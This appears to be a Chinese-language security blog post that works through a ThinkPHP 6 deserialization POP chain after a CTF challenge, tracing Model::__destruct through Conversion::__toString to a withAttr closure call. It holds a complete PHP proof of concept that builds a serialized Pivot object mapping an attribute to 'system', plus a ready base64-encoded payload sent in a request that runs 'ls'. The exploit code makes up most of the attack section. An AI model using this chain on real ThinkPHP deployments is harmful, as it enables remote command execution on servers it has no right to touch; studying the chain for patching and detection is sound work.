前言
去年的安洵杯，里面有一道iamthinking的題目（好像是這個(gè)名字吧），里面考察到了tp6的反序列化（通過訪問www.zip可以下載源碼），按照慣例，我還是沒有做出來，我不知道咋繞過那個(gè)正則emmmm，給沒有做題的大師傅獻(xiàn)上關(guān)鍵源碼吧,如果有師傅懂，歡迎評(píng)論
<?php
namespace Appcontroller;
use appBaseController;
class Index extends BaseController
{
public function index()
{
echo "<img src='../test.jpg'"."/>";
$paylaod = @$_GET['payload'];
if(isset($paylaod))
{
$url = parse_url($_SERVER['REQUEST_URI']);
parse_str($url['query'],$query);
foreach($query as $value)
{
if(preg_match("/^O/i",$value))
{
die('STOP HACKING');
exit();
}
}
unserialize($paylaod);
}
}
}
雖然題沒有做出來，但是tp6的反序列化POP鏈必須學(xué)習(xí)一波。
PoC獻(xiàn)上
<?php
namespace thinkmodelconcern;
trait Conversion
{
}
trait Attribute
{
private $data;
private $withAttr = ["axin" => "system"];
public function get()
{
$this->data = ["axin" => "ls"]; //你想要執(zhí)行的命令，這里的鍵值只需要保持和withAttr里的鍵值一致即可
}
}
namespace think;
abstract class Model{
use modelconcernAttribute;
use modelconcernConversion;
private $lazySave = false;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='MySQL';
protected $name;
protected $suffix = '';
function __construct(){
$this->get();
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->connection = 'mysql';
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
function __construct($obj='')
{
parent::__construct();
$this->name = $obj;
}
}
$a = new Pivot();
$b = new Pivot($a);
echo urlencode(base64_encode(serialize($b)));
大佬們好像沒有放現(xiàn)成的PoC，我這里自己糊弄了一個(gè)，大家將就著看吧，下面我們就來看看整個(gè)POP鏈吧。
利用鏈分析
這次的利用鏈后半部分也就是__toString()后面的鏈條都是與tp5.2.x一樣的，只是前半條鏈不一致，奈何我之前只分析過tp5.1.x的，而5.1.x與5.2.x的區(qū)別就是后半條鏈不一致，也就是說tp5.1.x的利用鏈與tp6.x的利用鏈完全不一樣，而我在準(zhǔn)備復(fù)現(xiàn)tp5.2.x的pop鏈時(shí)，用composer安裝tp5.2.x死活安不上，但是官網(wǎng)上又說5.2只能用composer安裝.......
在這里插入圖片描述
跑去github上提issue,結(jié)果官方回復(fù)說沒有5.2版本了......說出來給各位師傅們避個(gè)坑
先列出利用鏈：
thinkModel --> __destruct()
thinkModel --> save()
thinkModel --> updateData()
thinkModel --> checkAllowFields()
thinkModel --> db()
后半部分利用鏈（同tp 5.2后半部分利用鏈)
thinkmodelconcernConversion --> __toString()
thinkmodelconcernConversion --> __toJson()
thinkmodelconcernConversion --> __toArray()
thinkmodelconcernAttribute --> getAttr()
thinkmodelconcernAttribute --> getValue()
可以看到我把利用鏈拆分為了兩部分，前面一部分是到有字符串拼接操作為止，后面一部分是從字符串拼接的魔術(shù)方法開始，一直到代碼執(zhí)行的觸發(fā)點(diǎn)。接下來我們就一邊梳理利用鏈，一邊構(gòu)造POC。
Model的__destruct方法
public function __destruct()
{
echo "lazySave的值：".$this->lazySave."<br>";
if ($this->lazySave) {
$this->save();
}
}
這里要執(zhí)行save方法，需要lazySave=true
跟進(jìn)save方法,因?yàn)槲覀冴P(guān)注的只是updateData方法，所以u(píng)pdateData后面的代碼我就省略掉了：
public function save(array $data = [], string $sequence = null): bool
{
// 數(shù)據(jù)對(duì)象賦值
$this->setAttrs($data);
if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}
$result = $this->exists ? $this->updateData() : $this->insertData($sequence);
xxxxxxxxxxxx
return true;
}
為了能夠順利執(zhí)行到updateData()，我們需要保證前面的if條件判斷不成立（$this->isEmpth()==false和$this->trigger()==true）以及$this->exists=true
isEmpty
public function isEmpty(): bool
{
return empty($this->data);
}
只要保證this->data不為空就行
trigger
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}
$call = 'on' . Str::studly($event);
try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger(static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}
return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}
看似這么長一串，但是我們只需要令withEvent=false就可以直接發(fā)揮true,回到save函數(shù)，接下來再令$this->exists==true,然后進(jìn)入updateData()
protected function updateData(): bool
{
echo "updateData執(zhí)行-----<br>";
// 事件回調(diào)
if (false === $this->trigger('BeforeUpdate')) { // 經(jīng)過我們之前的設(shè)置，這兒直接跳過
return false;
}
$this->checkData();
// 獲取有更新的數(shù)據(jù)
$data = $this->getChangedData();
if (empty($data)) {
// 關(guān)聯(lián)更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
return true;
}
if ($this->autoWriteTimestamp && $this->updateTime && !isset($data[$this->updateTime])) {
// 自動(dòng)寫入更新時(shí)間
$data[$this->updateTime] = $this->autoWriteTimestamp($this->updateTime);
$this->data[$this->updateTime] = $data[$this->updateTime];
}
// 檢查允許字段
$allowFields = $this->checkAllowFields();
xxxxxxxxx
為了能夠調(diào)用到checkAllowFields()，還是需要保證前面不直接return,所以$data不能為空，所以我們跟進(jìn)getChangedData()
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}
return is_object($a) || $a != $b ? 1 : 0;
});
// 只讀字段不允許更新
foreach ($this->readonly as $key => $field) {
if (isset($data[$field])) {
unset($data[$field]);
}
}
return $data;
}
第二個(gè)foreach不需要在意，我們這里令$this->force==true直接返回我們之前自定義的非空data，回到updateData(),后面會(huì)執(zhí)行到if判斷，但是不影響我們的流程，忽略，這就進(jìn)入了checkAllowFields()
protected function checkAllowFields(): array
{
echo "進(jìn)入checkAllowFields()函數(shù)<br>";
// 檢測字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();
$this->field = $query->getConnection()->getTableFields($table);
}
return $this->field;
}
xxxxxxx
}
為了執(zhí)行db(),令$this->schema與$this->field為空，進(jìn)入db()
public function db($scope = []): Query
{
echo "進(jìn)入db()函數(shù)<br>";
/** @var Query $query */
echo "db函數(shù)中的變量值如下：<br>";
echo "connection=".$this->connection."<br>";
echo "name=";var_dump($this->name);echo "<br>";
echo "suffix=".$this->suffix."<br>";
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);
}
在db函數(shù)里執(zhí)行了$this->name.$this->suffix這種字符串拼接操作，但是在這之前需要滿足$db->connect()也就是令$this->connection=='mysql',至此前半條鏈已經(jīng)完成。我們知道了每個(gè)變量的值怎么設(shè)置，我們還得找一個(gè)合適的類，因?yàn)镸odel類是抽象類，不能實(shí)例化，我們找一個(gè)他的子類，和tp5.1一樣我們還是用Pivot類來構(gòu)造PoC,不難構(gòu)造出如下半成品：
namespace think;
abstract class Model{
use modelconcernAttribute;
use modelconcernConversion;
private $lazySave = false;
protected $withEvent = false;
private $exists = true;
private $force = true;
protected $field = [];
protected $schema = [];
protected $connection='mysql';
protected $name;
protected $suffix = '';
function __construct(){
$this->get();
$this->lazySave = true;
$this->withEvent = false;
$this->exists = true;
$this->force = true;
$this->field = [];
$this->schema = [];
$this->connection = 'mysql';
}
}
namespace thinkmodel;
use thinkModel;
class Pivot extends Model
{
}
因?yàn)榍鞍霔l鏈已經(jīng)來到了$this->name.$this->suffix,那么無論是name還是suffix連接后半條鏈都是可以的，重要的就是這后半條鏈從那個(gè)類開始，漏洞作者找到Conversion類，其中他的魔術(shù)方法__toString如下：
public function __toString()
{
return $this->toJson();
}
繼續(xù)跟toJson:
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
跟進(jìn)toArray:
public function toArray(): array
{
echo "進(jìn)入toArray函數(shù)！！！<br>";
$item = [];
$hasVisible = false;
foreach ($this->visible as $key => $val) {
xxxxxx
}
foreach ($this->hidden as $key => $val) {
xxxxxx
}
// 合并關(guān)聯(lián)數(shù)據(jù)
$data = array_merge($this->data, $this->relation); //$data=["axin"=>"ls"]
foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 關(guān)聯(lián)模型對(duì)象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 關(guān)聯(lián)模型對(duì)象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}
}
xxxxxx
return $item;
}
根據(jù)我最開始給出的poc,$data=["axin"=>"ls"],所以會(huì)來到最后一個(gè)getAttr()函數(shù)處，我們跟進(jìn)
public function getAttr(string $name)
{
echo "進(jìn)入getAttr函數(shù)!!!!<br>";
try {
$relation = false;
$value = $this->getData($name); // $name='axin'
} catch (InvalidArgumentException $e) {
$relation = $this->isRelationAttr($name);
$value = null;
}
return $this->getValue($name, $value, $relation);
}
如果熟悉tp5.1.x pop鏈的同學(xué)肯定覺得getData的似曾相識(shí)，我們一起來看看吧：
public function getData(string $name = null)//$name='axin'
{
echo "進(jìn)入getData函數(shù)!!!!<br>";
if (is_null($name)) {
return $this->data;
}
$fieldName = $this->getRealFieldName($name);
if (array_key_exists($fieldName, $this->data)) {
return $this->data[$fieldName];
} elseif (array_key_exists($fieldName, $this->relation)) {
return $this->relation[$fieldName];
}
throw new InvalidArgumentException('property not exists:' . static::class . '->' . $name);
}
跟進(jìn)getRealFieldName:
protected function getRealFieldName(string $name): string // $name = 'axin'
{
return $this->strict ? $name : Str::snake($name);
}
這里我們可以令$this->strict=true,這樣就會(huì)發(fā)揮‘axin’,回到getData,getData繼續(xù)執(zhí)行，也就是$fieldName='axin',最后getData()返回$this->data['axin']也就是返回了'ls'。回到getAttr(),繼續(xù)執(zhí)行進(jìn)入getValue():
protected function getValue(string $name, $value, $relation = false)
{
echo "進(jìn)入getValue函數(shù)!!!!<br>";
// 檢測屬性獲取器
$fieldName = $this->getRealFieldName($name); //$fieldName='axin'
$method = 'get' . Str::studly($name) . 'Attr';
if (isset($this->withAttr[$fieldName])) {
if ($relation) {
$value = $this->getRelationValue($relation);
}
if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
$value = $this->getJsonValue($fieldName, $value);
} else {
echo "到達(dá)代碼執(zhí)行觸發(fā)點(diǎn)！！！<br>";
$closure = $this->withAttr[$fieldName]; //這里的withAttr = ["axin"=>"system"]
$value = $closure($value, $this->data);
}
} elseif (method_exists($this, $method)) {
xxxxxx
} elseif (isset($this->type[$fieldName])) {
xxxxx
} elseif ($this->autoWriteTimestamp && in_array($fieldName, [$this->createTime, $this->updateTime])) {
xxxx
} elseif ($relation) {
xxxxxxxxxx
}
return $value;
}
這里順序執(zhí)行，默認(rèn)會(huì)執(zhí)行到
$closure = $this->withAttr[$fieldName]; //這里的withAttr = ["axin"=>"system"] ,$filedName='axin'
$value = $closure($value, $this->data);//最終執(zhí)行system("ls", ["axin"=>"ls"])
可以看到最終是執(zhí)行了system("ls", ["axin"=>"ls"])，而system函數(shù)第二個(gè)參數(shù)是可選的，也就是這種用法是合法的
注：
system ( string $command [, int &$return_var ] ) : string
參數(shù)
command
要執(zhí)行的命令。
return_var
如果提供 return_var 參數(shù)， 則外部命令執(zhí)行后的返回狀態(tài)將會(huì)被設(shè)置到此變量中。
至此，Tp5.6.x的pop鏈后半段也結(jié)束了。剩下的就是完善剛剛前半段POP鏈構(gòu)造的poc了，成品也就是我最開始貼出來的那個(gè)，最后看一下我本地調(diào)試的效果，當(dāng)然在調(diào)試過程中需要自己構(gòu)造一個(gè)反序列化點(diǎn)，我直接在Index控制器中構(gòu)造了一個(gè)新方法反序列化$_GET[p]：
然后請(qǐng)求/public/index.php/index/unser?p=TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7TzoxNzoidGhpbmtcbW9kZWxcUGl2b3QiOjExOntzOjIxOiIAdGhpbmtcTW9kZWwAbGF6eVNhdmUiO2I6MTtzOjEyOiIAKgB3aXRoRXZlbnQiO2I6MDtzOjE5OiIAdGhpbmtcTW9kZWwAZXhpc3RzIjtiOjE7czoxODoiAHRoaW5rXE1vZGVsAGZvcmNlIjtiOjE7czo4OiIAKgBmaWVsZCI7YTowOnt9czo5OiIAKgBzY2hlbWEiO2E6MDp7fXM6MTM6IgAqAGNvbm5lY3Rpb24iO3M6NToibXlzcWwiO3M6NzoiACoAbmFtZSI7czowOiIiO3M6OToiACoAc3VmZml4IjtzOjA6IiI7czoxNzoiAHRoaW5rXE1vZGVsAGRhdGEiO2E6MTp7czo0OiJheGluIjtzOjI6ImxzIjt9czoyMToiAHRoaW5rXE1vZGVsAHdpdGhBdHRyIjthOjE6e3M6NDoiYXhpbiI7czo2OiJzeXN0ZW0iO319czo5OiIAKgBzdWZmaXgiO3M6MDoiIjtzOjE3OiIAdGhpbmtcTW9kZWwAZGF0YSI7YToxOntzOjQ6ImF4aW4iO3M6MjoibHMiO31zOjIxOiIAdGhpbmtcTW9kZWwAd2l0aEF0dHIiO2E6MTp7czo0OiJheGluIjtzOjY6InN5c3RlbSI7fX0%3D，可以看到成功執(zhí)行l(wèi)s命令，其他那些亂七八糟的輸出是我調(diào)試是自己echo的，大家在編寫反序列化poc時(shí)也可以這樣一點(diǎn)點(diǎn)確定自己寫對(duì)了沒。
在這里插入圖片描述
參考
向大佬們看齊，respect
https://xz.aliyun.com/t/6619
https://xz.aliyun.com/t/6479
https://www.anquanke.com/post/id/187393
https://www.anquanke.com/post/id/187332
